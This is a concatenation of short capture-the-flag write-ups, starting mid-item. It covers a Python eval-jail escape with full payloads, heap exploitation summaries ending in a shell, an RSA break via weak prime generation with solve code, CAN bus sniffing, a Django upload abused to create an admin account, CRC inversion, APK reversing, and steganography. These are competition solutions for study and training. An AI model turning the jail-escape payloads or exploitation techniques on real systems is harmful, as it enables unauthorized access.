6. Coincidentally, the 6th layer was a `.dc6` file. This is an image file from Diablo II. A few forum posts made reference to a program called "DC6Creator", and we found [a version](http://phrozenkeep.blob.core.windows.net/public/files/tools/image/DC6_Creator_1.02.rar). It required installing .NET 2002 libraries, which is a nice blast from the past. DC6Creator allows a `.bmp` export, which reveals our flag:
### Flag
`ALLES{files_in_files_in_files_are_freezing_hell}` |
It only needs 3 steps to solve the task : 1- Get **co_consts** of the function which holds the constants used by the function, and because we have the **eval** function we can execute arbitrary commands using characters we get using the documentation of any type (i used **()**) through the following payloads :```pya='alles' #now a contains the string 'alles' a=eval(eval("a."+eval("().__class__.__doc__[17+1]+().__class__.__doc__[19]+().__class__.__doc__[19]+().__class__.__doc__[2+2]+().__class__.__doc__[32]"))()) #evaluate 'alles'.upper() ==> now a contains a reference to the function <function ALLES at 0x7f1c55a942d0>a=eval("a."+"__code__") #now we point to code object of the functiona=print(eval('a.'+'co_consts')) #print constants used by ALLES function(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')```2- The second step is to get bytecode of the function, we can accomplish this through calling **ALLES.\_\_code\_\_.co_code** using the following payload:```pya='alles' a=eval(eval("a."+eval("().__class__.__doc__[17+1]+().__class__.__doc__[19]+().__class__.__doc__[19]+().__class__.__doc__[2+2]+().__class__.__doc__[32]"))()) #evaluate 'alles'.upper()a=eval("a."+"__code__")a = print(eval('a.'+'co_code'))b'|\x00r\x0et\x00d\x01|\x00\x83\x02S\x00d\x02S\x00d\x00S\x00'```
3- Finally, we can use the module **dis** to get the disassembly code like the following (don't forget to use python3, python2 provide wrong output)```>>> dis.dis(b"|\x00r\x0et\x00d\x01|\x00\x83\x02S\x00d\x02S\x00d\x00S\x00") 0 LOAD_FAST 0 (0) 2 POP_JUMP_IF_FALSE 14 4 LOAD_GLOBAL 0 (0) 6 LOAD_CONST 1 (1) 8 LOAD_FAST 0 (0) 10 CALL_FUNCTION 2 12 RETURN_VALUE >> 14 LOAD_CONST 2 (2) 16 RETURN_VALUE 18 LOAD_CONST 0 (0) 20 RETURN_VALUE```It's obvious that it loads the constant at index 1 which is the non-printables chars we found in first step and call the function that we need to get its name through **co_names** using the following payload```pya = 'alles'a = eval(eval("a."+eval("().__class__.__doc__[17+1]+().__class__.__doc__[19]+().__class__.__doc__[19]+().__class__.__doc__[2+2]+().__class__.__doc__[32]"))())a = eval("a."+"__code__")a = print(eval('a.'+'co_na'+().__class__.__doc__[12]+'es'))('string_xor',)``` So it's a simple xor function, without further suspense a simple xor with the flag format brings us the key used (1337)```pyfrom pwn import *print xor("p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N","ALLES{")print xor("1337","p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N")
```
and we get the desired flag **ALLES{3sc4ped_y0u_aR3}**\o/ |
TL;DR
Leak stack pointer using logic bug in scanf format string.
Leak Libc and PIE addresses through arbitrary read using already given functionality.
Use arbitrary null pointer to overwrite _IO_buf_base of stdin structure.
Get a shell \o/.
[Full Detailed Writeup](https://pwn-diaries.com/post/alles-ctf-2020-nullptr/) |
# Chunk Norris (easy)
## Code given
```python#!/usr/bin/python3 -u
import randomfrom Crypto.Util.number import *import gmpy2
a = 0xe64a5f84e2762be5chunk_size = 64
def gen_prime(bits): s = random.getrandbits(chunk_size)
while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p
n = gen_prime(1024) * gen_prime(1024)e = 65537flag = open("flag.txt", "rb").read()print('n =', hex(n))print('e =', hex(e))print('c =', hex(pow(bytes_to_long(flag), e, n)))```
```txtn = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19e = 0x10001c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916```
## RSA algorithm (reminder)
$$n = p*q$$
$$c = m^e mod\ n$$
where:
- `p` and q are large prime numbers- `e` is the public key- `m` is the message- `c` is the cipher text
The RSA algorithm is based around the idea of asymeytric keys or in this case, the fact that for large primes, it is hard to computer a number `d` such that:
$$m = c^d mod\ n$$
## Large Prime number generation
```pythona = 0xe64a5f84e2762be5chunk_size = 64
def gen_prime(bits): s = random.getrandbits(chunk_size)
while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p```
When we look at the above function, we can see the way the challenge generates primes. It can be resumed by the following equation:
$$p = \sum^{15}_{i = 0}[s_i*2^{64*(15-i)}]$$
$$s_i \equiv a*s_{i-1}\ mod\ 2^{64}$$
where `s` is the random number that was used to generate the prime.
NB: as we can see in the function, the number s might be different than the one picked by the system originaly. For our purposes, this has no incidence as we only care about the number that generated the prime and we can consider it to be random.
## Reversing the primes
Now we know that `n=pq` thus we have:
$$n = \sum^{15}_{i = 0}[s_i*2^{64*(15-i)}] * \sum^{15}_{i = 0}[s'_i*2^{64*(15-i)}]$$
where $s_i$ and $s'_i$ are the two random numbers that generate the primes
Now the trick to this challenge was to not try and factor `n` directly but rather factor the random numbers. Here let's first try and find their product
### Getting the product of random numbers
We know:
$$s_i \equiv a*s_{i-1}\ mod\ 2^{64}$$
Howver $a = 16 594 180 801 339 730 917$ and is an odd number thus it has an inverse $mod\ 2^{64}$
Thus we have:
$$s_i \equiv a*s_{i-1}\ mod\ 2^{64}$$
$$\Rightarrow s_{i-1} \equiv a^{-1}*s_{i}\ mod\ 2^{64}$$
Now we can simplify $n$:
$$n = \sum^{15}_{i = 0}[s_i*2^{64*(15-i)}] * \sum^{15}_{i = 0}[s'_i*2^{64*(15-i)}]$$
$$\Rightarrow n = s_{15}*s'_{15}*2^{64}*(s_{14}s'_{15}+s_{15}s'_{14})\ mod\ 2^{128}$$
$$\Rightarrow n = s_{15}*s'_{15}*2^{64}*(2*s_{15}s'_{15}*a^{-1})\ mod\ 2^{128}$$
$$\Rightarrow n = s_{15}*s'_{15}*(2^{65}*a^{-1}+1)\ mod\ 2^{128}$$
Since $(2^{65}*a^{-1}+1)$ is an odd number it must have an inverse $mod\ 2^{128}$. Thus we get:
$$n = s_{15}*s'_{15}*(2^{65}*a^{-1}+1)\ mod\ 2^{128}$$
$$\Leftrightarrow s_{15}*s'_{15} = n*(2^{65}*a^{-1}+1)^{-1}\ mod\ 2^{128}$$
Now once we calculate and factor this we get the following factors:
```txt13, 167541865434116759, 11, 109, 223, 1290533, 4608287```
Now we just need to find two numbers out of this set that have more or less the same length bit wise which are
```txts1 = 13 * 167541865434116759t1 = 11 * 109 * 223 * 1290533 * 4608287```
## Back to decrypting RSA
Now that we have the two random numbers we can get to getting the `d` value that we need to decrypt:
```pythonb = inverse(a, pow(2, 64))
def remverse_primes(s): p = s for i in range(1,16): s = b * s % 2^64 p += s * 2^(64*i) return p```
Now with both prime we calculate the inverse of `e` modulo phi of n which is equal to $\phi = (p-1)(q-1)$. Once we have `d` we just need to raise the cipher text to that power and we have the clear flag
## FULL CODE
```pythonfrom Crypto.Util.number import long_to_bytesfrom euclid import inverse # custom inverse fucntion nothing fancy
a = 0xe64a5f84e2762be5
n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19e = 0x10001c = 0x6a12d56e26e460f456102c83c68b5cf355b2e57d5b176b32658d07619ce8e542d927bbea12fb8f90d7a1922fe68077af0f3794bfd26e7d560031c7c9238198685ad9ef1ac1966da39936b33c7bb00bdb13bec27b23f87028e99fdea0fbee4df721fd487d491e9d3087e986a79106f9d6f5431522270200c5d545d19df446dee6baa3051be6332ad7e4e6f44260b1594ec8a588c0450bcc8f23abb0121bcabf7551fd0ec11cd61c55ea89ae5d9bcc91f46b39d84f808562a42bb87a8854373b234e71fe6688021672c271c22aad0887304f7dd2b5f77136271a571591c48f438e6f1c08ed65d0088da562e0d8ae2dadd1234e72a40141429f5746d2d41452d916
ss = n * inverse(pow(2,65) * inverse(a, pow(2,64)) + 1, pow(2,128)) % pow(2,128)print(ss)
#Use factordb or anything to get the factors of the products1 = 13 * 167541865434116759s2 = 11 * 109 * 223 * 1290533 * 4608287
b = inverse(a, pow(2,64))
def reverse_prime(s): p = s for i in range(1,16): s = b * s % pow(2,64) p += s * 2^(64*i) return p
p = reverse_prime(s1)q = reverse_prime(s2)phi = (p-1)*(q-1)d = inverse(e, phi)print(long_to_bytes(pow(c,d,n)).decode())```
## FLAG
CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__} |
## Reconafter connecting to the service, we got a simple '< hi >' - lost a ton of time in totally not getting the "in-your-face-hint" of "socketcand". Googeling for ages for a CAN-over-IP transport protocol which would handshake with '< hi >' **fast forward:** after finding the documentation of socketcand [(protocol here)](https://github.com/linux-can/socketcand/blob/master/doc/protocol.md) handshaking with the demon was simple. putting up some quick and dirty canbus dump pwntools script (which failed for ssl, because of [THAT](https://github.com/Gallopsled/pwntools/pull/1644), so ugly processwrapping instead)
## Dumping CANBusthe following python code visually dumps the canbus and also writes each can-id to a file for later inspection
```pythonfrom pwn import *
def hexdump(data): output = "" for i in range(0,len(data),2): value = int(data[i:i+2],16) if value > 0x20 and value < 0x80: output += chr(value) else: output += "." return(output)
# ugly process wrapping, cause "remote" failed on challenge serverp = process(['ncat', '--ssl', '7b0000005a916e68a93fc8ec.challenges.broker3.allesctf.net', '1337'])
# handshakingprint p.recvuntil('< hi >')print p.sendline('< open vcan0 >')print p.recvuntil('< ok >')print p.sendline('< rawmode >')
# dumpwhile 1: frame = p.recvuntil('>') if frame != '< ok >': frame = frame.split(' ') output = frame[2] + "#" + frame[4] output = output.ljust(21, " ") + hexdump(frame[4]) print output f = open(frame[2] + '.txt','a+') f.write(output+"\n") f.close
p.interactive()```
## Resultsquite crowded on canbus...
```...1A0#E14DEF .M.114#CCD913 ...70D#283FF3B60140 (?...@6AA#76 v463#E02386EA80BA35D6 .#....5.2F4#4666FEC9 Ff..55F#60E168C07421 `.h.t!070#8C1E58C5 ..X.0BC#132D869BF6 .-...399#F8CACD04F55E7669 .....^vi341#52CBC8 R..229#5E2810B75686CC5D ^(..V..]61B#5089 P.5DA#50CC5F56DAC85ABF P._V..Z.191#5D2B46 ]+F...```
after running a bit
```root@kali:~/alles2020/can# ls001.txt 04F.txt 0CB.txt 156.txt 1CC.txt 23B.txt 2E1.txt 341.txt 406.txt 466.txt 4E0.txt 544.txt 59E.txt 5F8.txt 6AA.txt 745.txt 792.txt005.txt 052.txt 0D3.txt 158.txt 1D1.txt 241.txt 2EA.txt 34D.txt 41A.txt 46C.txt 4E9.txt 546.txt 5A8.txt 605.txt 6B0.txt 747.txt 79D.txt020.txt 070.txt 0E2.txt 17F.txt 1D9.txt 246.txt 2F1.txt 36F.txt 424.txt 477.txt 4EB.txt 54B.txt 5AB.txt 61B.txt 6B2.txt 748.txt 7A3.txt025.txt 083.txt 0F0.txt 184.txt 1DA.txt 259.txt 2F4.txt 37D.txt 429.txt 47D.txt 4F9.txt 551.txt 5B0.txt 64F.txt 6C0.txt 74B.txt 7AE.txt033.txt 093.txt 0F8.txt 191.txt 1EB.txt 267.txt 306.txt 388.txt 42D.txt 492.txt 4FC.txt 55F.txt 5B5.txt 654.txt 6D6.txt 751.txt 7B3.txt036.txt 094.txt 107.txt 193.txt 205.txt 268.txt 313.txt 38D.txt 42F.txt 4B0.txt 503.txt 56E.txt 5BB.txt 664.txt 6E6.txt 756.txt 7C4.txt03A.txt 098.txt 110.txt 1A0.txt 207.txt 26E.txt 315.txt 38E.txt 447.txt 4B9.txt 507.txt 57D.txt 5C6.txt 67A.txt 6FE.txt 761.txt 7C6.txt03D.txt 0A5.txt 114.txt 1A9.txt 20D.txt 272.txt 318.txt 399.txt 44A.txt 4BD.txt 50E.txt 585.txt 5C7.txt 67F.txt 706.txt 76A.txt 7CB.txt040.txt 0B7.txt 123.txt 1B0.txt 216.txt 290.txt 323.txt 3A4.txt 453.txt 4CF.txt 523.txt 589.txt 5CE.txt 68D.txt 709.txt 77D.txt 7CF.txt043.txt 0BA.txt 131.txt 1B6.txt 229.txt 2A3.txt 325.txt 3C8.txt 454.txt 4D1.txt 532.txt 58C.txt 5DA.txt 68E.txt 70D.txt 784.txt 048.txt 0BC.txt 136.txt 1B9.txt 231.txt 2A8.txt 32A.txt 3CA.txt 45E.txt 4D8.txt 535.txt 59B.txt 5E9.txt 693.txt 70E.txt 786.txt04D.txt 0C8.txt 13A.txt 1BE.txt 23A.txt 2DA.txt 33C.txt 3F3.txt 463.txt 4DE.txt 53E.txt 59C.txt 5F1.txt 69D.txt 71B.txt 791.txt```
after quick visual inspection for anything that would stick out we found:
```...-rw-r--r-- 1 root root 28 Sep 7 14:01 136.txt-rw-r--r-- 1 root root 837 Sep 7 14:01 13A.txt-rw-r--r-- 1 root root 5005 Sep 7 14:01 156.txt <--- file size !-rw-r--r-- 1 root root 30 Sep 7 14:01 158.txt...```
```root@kali:~/alles2020/can# cat 156.txt156#89504E470D0A1A0A .PNG....156#0000000D49484452 ....IHDR156#000000B500000016 ........156#080600000086DBDD ........156#E900000006624B47 .....bKG156#44000000000000F9 D.......156#43BB7F0000000970 C....p156#48597300000B1300 HYs.....```
so looks like someone put a png on can-id 156, so extracting this data gives us a picture showing the flag:
## ALLES{c4n_sn1ffer}
macz |
# Super judge
## Enumeration
We find a website where you can upload files. It specifies its a python emulator.
Thereafter if you upload a file succesfully it will give you a response with hello ordinary user.
Afterwards I looked around and by going to random links i saw that 1. its a django application and 2. the routes which it checks for. So now I know that there is an admin page, index page and result page. The index being the page where you can upload, the result page being the page you are redirected to when you have uploaded a file.
So by playing around with uploading python files I found that it runs the python script. So I guessed that I could possibly affect the django application and by using the assigned script I was able to create an admin account for myself. See solution.py
Once uploaded I went to the admin login page
Logged in with my new credentials
As seen in the result.html file which was provided in the task, the flag is on this page. So go to /result and voila
 |
## tl;dr
+ Overwrite `mmap_threshold` with null and trim top chunk size , to call `mmap` when malloc is called.+ Null out last 2 bytes of stdinβs _IO_buf_base and brute force to get allocation on stdin.+ Overwrite `__malloc_hook` with win function to get shell.
Link to the writeup : [Writeup](https://blog.bi0s.in/2020/09/09/Pwn/AllesCTF20-nullptr/) |
For this challenge, and also crccalc1, we are given the output from [crccalc](https://crccalc.com/) with 9 32-bit CRCs given for some unknown input. From the amount of dots in the input, and the filename being "crccalc-24.png", it's fair to assume that the input this time is 24 characters. I solved this challenge in the exact same way as crccalc1, only changing the target CRCs and expected length.
From Balsn CTF 2019, there was a challenge that very much resembled this challenge. There, CRC calculation was a tiny step on the way to the final decryption code, and included CRCs of multiple bit lengths. The challenge is called [collision](https://ctftime.org/task/9374), and I heavily borrowed code from [team hxp's solution](https://hxp.io/blog/61/Balsn-CTF-2019-writeups/) for this one.
The main takeaway, is that CRCs are not cryptographically secure, but actually affine functions over GF(2). Generally speaking, CRCs are just polynomial division, but in order to gain certain properties, they have mutated slightly from that description. This makes it very hard to solve them with a CRT-like approach, since the input might be XORed with something before and/or after the division - and sometimes even done in reverse (as that's faster in some scenarios, especially in embedded).
The most important property, is that `CRC(xβy) β CRC(0) = CRC(x) β CRC(y)`. We can use this to set up a system of equations in matrix form, where we concatenate all the CRCs into a single function. Instead of repeating more of what's already been said, go check out the previous write-up by hxp, linked above.
Sage code for solving below. To solve crccalc1, just replace the `l` variable and the `target` dict to match that challenge. The code finds two solutions, where one is just gibberish, and the other is the flag: `ALLES{cycl1c_r3dund4ncy}` The `_crc_definitions_table` is lifted from the module `crcmod`, which can be found on PyPi.
```pythonfrom Crypto.Util.number import bytes_to_long, long_to_bytes
# Length of the target input and its CRCsl = 24target = {\ 'crc-32': 0xB60C1196, 'crc-32-bzip2': 0x540FB6E5, 'crc-32c': 0x0472FC19, 'crc-32d': 0xCD3BFFA5, 'crc-32-mpeg': 0xABF0491A, 'posix': 0xAFA3CADF, 'crc-32q': 0xC4B409AD, 'jamcrc': 0x49F3EE69, 'xfer': 0x0B91E517,}
REVERSE = TrueNON_REVERSE = False
_crc_definitions_table = [ [ 'crc-32', 'Crc32', 0x104C11DB7, REVERSE, 0x00000000, 0xFFFFFFFF, 0xCBF43926, ], [ 'crc-32-bzip2', 'Crc32Bzip2', 0x104C11DB7, NON_REVERSE, 0x00000000, 0xFFFFFFFF, 0xFC891918, ], [ 'crc-32c', 'Crc32C', 0x11EDC6F41, REVERSE, 0x00000000, 0xFFFFFFFF, 0xE3069283, ], [ 'crc-32d', 'Crc32D', 0x1A833982B, REVERSE, 0x00000000, 0xFFFFFFFF, 0x87315576, ], [ 'crc-32-mpeg', 'Crc32Mpeg', 0x104C11DB7, NON_REVERSE, 0xFFFFFFFF, 0x00000000, 0x0376E6E7, ], [ 'posix', 'CrcPosix', 0x104C11DB7, NON_REVERSE, 0xFFFFFFFF, 0xFFFFFFFF, 0x765E7680, ], [ 'crc-32q', 'Crc32Q', 0x1814141AB, NON_REVERSE, 0x00000000, 0x00000000, 0x3010BF7F, ], [ 'jamcrc', 'CrcJamCrc', 0x104C11DB7, REVERSE, 0xFFFFFFFF, 0x00000000, 0x340BC6D9, ], [ 'xfer', 'CrcXfer', 0x1000000AF, NON_REVERSE, 0x00000000, 0x00000000, 0xBD0BE338, ],]
R.<x> = GF(2)[]
num2poly = lambda n: sum(((n >> i) & 1) * x**i for i in range(int(n).bit_length()+5))poly2num = lambda f: f.change_ring(ZZ)(2)num2vec = lambda l,n: vector(GF(2), [(n >> i) & 1 for i in range(l)])
crcs = dict()for name,_,poly,rev,ixor,oxor,chk in _crc_definitions_table: crcs[name] = { 'poly': num2poly(poly), 'bits': int(num2poly(poly).degree()), 'rev': rev, 'ixor': ZZ(ixor), 'oxor': ZZ(oxor), 'chk': chk, }
del name,poly,rev,ixor,oxor,chk
def mycrc(name, bs): data = crcs[name] poly, bits, rev, ixor, oxor = data['poly'], data['bits'], data['rev'], data['ixor'], data['oxor'] if rev: #bs = ''.join(chr(int('{:08b}'.format(ord(x))[::-1],2)) for x in bs) bs = b''.join(bytes([(int('{:08b}'.format(x)[::-1],2))]) for x in bs) res = 0 res = num2poly(ixor ^^ oxor) if rev: res = R(x**(bits-1) * res(1/x)) res *= x**(8*len(bs)) res += x**bits * num2poly(bytes_to_long(bs)) res %= poly if rev: res = R(x**(bits-1) * res(1/x)) res += num2poly(oxor) return poly2num(res)
names = list(sorted(crcs.keys()))
def allcrcs(bs): v = matrix(GF(2),1,0) for name in names: v = v.augment(num2vec(crcs[name]['bits'], mycrc(name, bs)).row()) return v
v0 = allcrcs(b'\0'*l)
t = matrix(GF(2),1,0)for name in names: t = t.augment(num2vec(crcs[name]['bits'], target[name]).row())
mat = matrix(GF(2), 0, sum(crcs[name]['bits'] for name in names))for i in range(8*l): row = allcrcs(long_to_bytes(2**i).rjust(l,b'\0')) mat = mat.stack(row - v0)
sol = vector(mat.solve_left(t - v0))
for kervec in mat.left_kernel(): res = long_to_bytes(sum(ZZ(s) << i for i,s in enumerate((sol + kervec).list()))) print([res])``` |
Based on [some of the other write-ups on CTFTime](https://ctftime.org/task/12815) I wanted to show another approach, as people had problems decompiling with [jadx](https://github.com/skylot/jadx).
You want to build the newest from git (some nice changes between last release and current `master` is the flag: `--deobf-parse-kotlin-metadata`).
Then you probably want to use the following commands for *most* apks:
```bash$ jadx --threads-count 1 --show-bad-code --deobf --deobf-min 2 --deobf-use-sourcename --deobf-parse-kotlin-metadata ./reverse.apkINFO - loading ...INFO - processing ...INFO - done```
Some commends: * `--threads-count 1` -- I've seen race-conditions in jadx due to concurrency * `--show-bad-code` -- Even if jadx can't decompile correctly, show the result * `--deobf` -- Tell jadx to prepare for the worst (i.e. class name with esoteric letters, or everything called `a.a(a)`, etc) * `--deobf-min 2` -- With the above flag, jadx treat `dk.io.something` as having a obfuscated name (b/c it is < 3 chars long) * `--deobf-use-sourcename` -- Trust "sourcename", this mostly works, but if the output is completely screwed then remove this flag * `--deobf-parse-kotlin-metadata` -- Same as above
In `reverse/sources/com/google/ctf/sandbox/` we find the following files:
```BuildConfig.javaC0006R.javaC0007.java```
The `C<d><d><d><d>.java` file is the first deobfuscated class (we see jadx has renamed it from `com.google.ctf.sandbox.Ε` to `com.google.ctf.sandbox.C0007`)And note the "resource file", `C0006R.java`, contains the method `m0` renamed from `Ε`. We can now clearly see the difference due to the `--deobf` flag!
```java /* renamed from: Ε */ public static long[] m0(long a, long b) { if (a == 0) { return new long[]{0, 1}; } long[] r = m0(b % a, a); return new long[]{r[1] - ((b / a) * r[0]), r[0]}; }```
```java/* renamed from: com.google.ctf.sandbox.Ε */public class C0007 extends Activity { /* renamed from: class reason: not valid java name */ long[] f8class;
/* renamed from: Ε */ int f6;
/* renamed from: Ε */ long[] f7;```
In the constructor of `C0007` we see this suspicious array:
```javathis.f8class = new long[]{40999019, 2789358025L, 656272715, 18374979, 3237618335L, 1762529471, 685548119, 382114257, 1436905469, 2126016673, 3318315423L, 797150821};```
Following by some logic and then:
```javaC0007.this.f6 = 0;// [...]if (((C0006R.m0(C0007.this.f7[C0007.this.f6], 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L != C0007.this.f8class[C0007.this.f6]) { textView.setText("β"); return;}C0007.this.f6++;if (C0007.this.f6 >= C0007.this.f7.length) { textView.setText("?"); return;}```
Lets clean it up:
```javaint i = 0;// [...]if (m0(f7[i], 4294967296L)[0] % 4294967296L != f8class[i]) { textView.setText("β"); return;}i++;if (i >= 12) { textView.setText("?"); return;}```
So we need to solve a bunch of similar equations:
* `m0(?, 0x100000000)[0] = 40999019` * `m0(?, 0x100000000)[0] = 2789358025` * `m0(?, 0x100000000)[0] = 656272715` * `m0(?, 0x100000000)[0] = 18374979` * `m0(?, 0x100000000)[0] = 3237618335` * `m0(?, 0x100000000)[0] = 1762529471` * `m0(?, 0x100000000)[0] = 685548119` * `m0(?, 0x100000000)[0] = 382114257` * `m0(?, 0x100000000)[0] = 1436905469` * `m0(?, 0x100000000)[0] = 2126016673` * `m0(?, 0x100000000)[0] = 3318315423` * `m0(?, 0x100000000)[0] = 797150821`
We know each `?` is a number between `0..2**32`, so we can find all possible solutions in `2**32 \times m0`-operations:
```javaimport java.util.stream.LongStream;
public class Bruteforce{ public static void main(final String[] array) { LongStream.rangeClosed(1L, 4294967296L).parallel().forEach(Bruteforce::test); }
private static void test(final long n) { final long n2 = (m0(n, 4294967296L)[0] % 4294967296L + 4294967296L) % 4294967296L; if (n2 == 40999019L || n2 == 2789358025L || n2 == 656272715L || n2 == 18374979L || n2 == 3237618335L || n2 == 1762529471L || n2 == 685548119L || n2 == 382114257L || n2 == 1436905469L || n2 == 2126016673L || n2 == 3318315423L || n2 == 797150821L) { System.out.println(String.format("ans for %d is %d", n2, n)); } }
public static long[] m0(final long n, final long n2) { // egcd if (n == 0L) { return new long[] { 0L, 1L }; } final long[] tmp = m0(n2 % n, n); return new long[] { tmp[1] - n2 / n * tmp[0], tmp[0] }; }}```
```bashjavac Bruteforce.javatime java Bruteforceans for 18374979 is 106116784ans for 18374979 is 212233568ans for 685548119 is 1600350567ans for 656272715 is 1601057891ans for 2789358025 is 1601515641ans for 3318315423 is 1630757471ans for 382114257 is 879255345ans for 1762529471 is 879583039ans for 18374979 is 424467136ans for 40999019 is 1758103648ans for 382114257 is 1758510690ans for 797150821 is 2099344237ans for 1436905469 is 1818191189ans for 18374979 is 2200542040ans for 18374979 is 1885680491ans for 2126016673 is 1919251297ans for 3237618335 is 1966111071ans for 40999019 is 2068206659ans for 40999019 is 3026535472ans for 685548119 is 3200701134ans for 656272715 is 3202115782ans for 18374979 is 3247754668ans for 3318315423 is 3261514942ans for 18374979 is 3771360982ans for 40999019 is 3660751384ans for 382114257 is 3517021380ans for 40999019 is 3977859340ans for 3237618335 is 3932222142ans for 40999019 is 4136413318ans for 797150821 is 4198688474
real 6m12.444suser 14m10.893ssys 0m2.036s```
Finally we can reconstruct the flag:
```pythondef print_if_ascii(n): try: s = bytes.fromhex(hex(n)[2:].zfill(8))[::-1].decode() print(s, end='') except: pass
# Solutions for 40999019print_if_ascii(1758103648)print_if_ascii(2068206659)print_if_ascii(3026535472)print_if_ascii(3660751384)print_if_ascii(3977859340)print_if_ascii(4136413318)
# Solution for 2789358025print_if_ascii(1601515641)
# Solutions for 656272715print_if_ascii(1601057891)print_if_ascii(3202115782)
# Solutions for 18374979print_if_ascii(106116784)print_if_ascii(212233568)print_if_ascii(424467136)print_if_ascii(2200542040)print_if_ascii(1885680491)print_if_ascii(3247754668)print_if_ascii(3771360982)
# Solutions for 3237618335print_if_ascii(1966111071)print_if_ascii(3932222142)
# Solution for 1762529471print_if_ascii(879583039)
# Solutions for 685548119print_if_ascii(1600350567)print_if_ascii(3200701134)
# Solutions for 382114257print_if_ascii(879255345)print_if_ascii(1758510690)print_if_ascii(3517021380)
# Solution for 1436905469print_if_ascii(1818191189)
# Solution for 2126016673print_if_ascii(1919251297)
# Solutions for 3318315423print_if_ascii(1630757471)print_if_ascii(3261514942)
# Solutions for 797150821print_if_ascii(2099344237)print_if_ascii(4198688474)```
Output: `CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}` |
Hi, last week I participated in Google CTF 2020 with my team `pwnPHOfun`
Although I didn't solve the challenge in time for the points,still, here is a writeup for the challenge `teleport` for you.
I like to write detailed articles that are understandable and replicable to my past self. Feel free to skip any parts. Here is a table of content for you.
- [Teleport](#teleport)- [1. Story](#1-story)- [2. Overview](#2-overview) - [2.1. Sandboxed or unsandboxed](#21-sandboxed-or-unsandboxed) - [2.2. Provided primitives](#22-provided-primitives)- [3. Leaking the browser process](#3-leaking-the-browser-process)- [4. Googling](#4-googling)- [5. Leaking the renderer process](#5-leaking-the-renderer-process)- [6. Nodes and Ports](#6-nodes-and-ports)- [7. Leaking ports' names](#7-leaking-ports-names) - [7.1. Finding offsets](#71-finding-offsets) - [7.1.1. Simple structures](#711-simple-structures) - [7.1.2. F**k C++/Traversing `std::unordered_map`](#712-fk-ctraversing-stdunordered_map)- [8. What do we do with stolen ports?](#8-what-do-we-do-with-stolen-ports) - [8.1. Factory of network requests](#81-factory-of-network-requests) - [8.2. Making the leaked ports ours](#82-making-the-leaked-ports-ours) - [8.2.1. Calling functions from shellcode](#821-calling-functions-from-shellcode) - [8.3. Sending our messages](#83-sending-our-messages) - [8.4. Writing our messages](#84-writing-our-messages) - [8.5. To know who our receivers are](#85-to-know-who-our-receivers-are) - [8.6. Where are my factory ??](#86-where-are-my-factory-) - [8.6.1. Setting the sequence_num](#861-setting-the-sequence_num) - [8.6.2. Getting the correct function parameters](#862-getting-the-correct-function-parameters)- [9. Closing words](#9-closing-words) - [9.1. Shoutout](#91-shoutout) - [9.2. Reference](#92-reference)
You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/ggctf20-teleport).
No IDA/Ghidra were used during the creation of this work. I used only GDB. |
# CSAW
Ctf At: https://ctf.csaw.io/
## widthless
**Challenge Link**
Welcome to web! Let's start off with something kinda funky :)http://web.chal.csaw.io:5018
**Solution**
When we first go to the website, we don't see anything out of the ordinary. When we try to input anything into the `Signup for my newsletter`input box, it doesn't let us input anything. However, when we inspect element, we see a comment saying `zwsp is fun`, and a bunch of html charactercodes at the bottom.
```βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ```
These character codes happen to be the character codes of zwsp(Zero width space) characters. These characters can be used in steganography,so we assume we have to decode it. Fortunately for us, theres this very nice website at
```https://offdev.net/demos/zwsp-steg-js```
that will let us decode these characters hidden in text. We go to the source code, and copy paste it into the decoder, to get
```b'YWxtMHN0XzJfM3o='```Which is `alm0st_2_3z` in base 64.
If we then input this into the `Signup for my newsletter` box, we get `/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>`
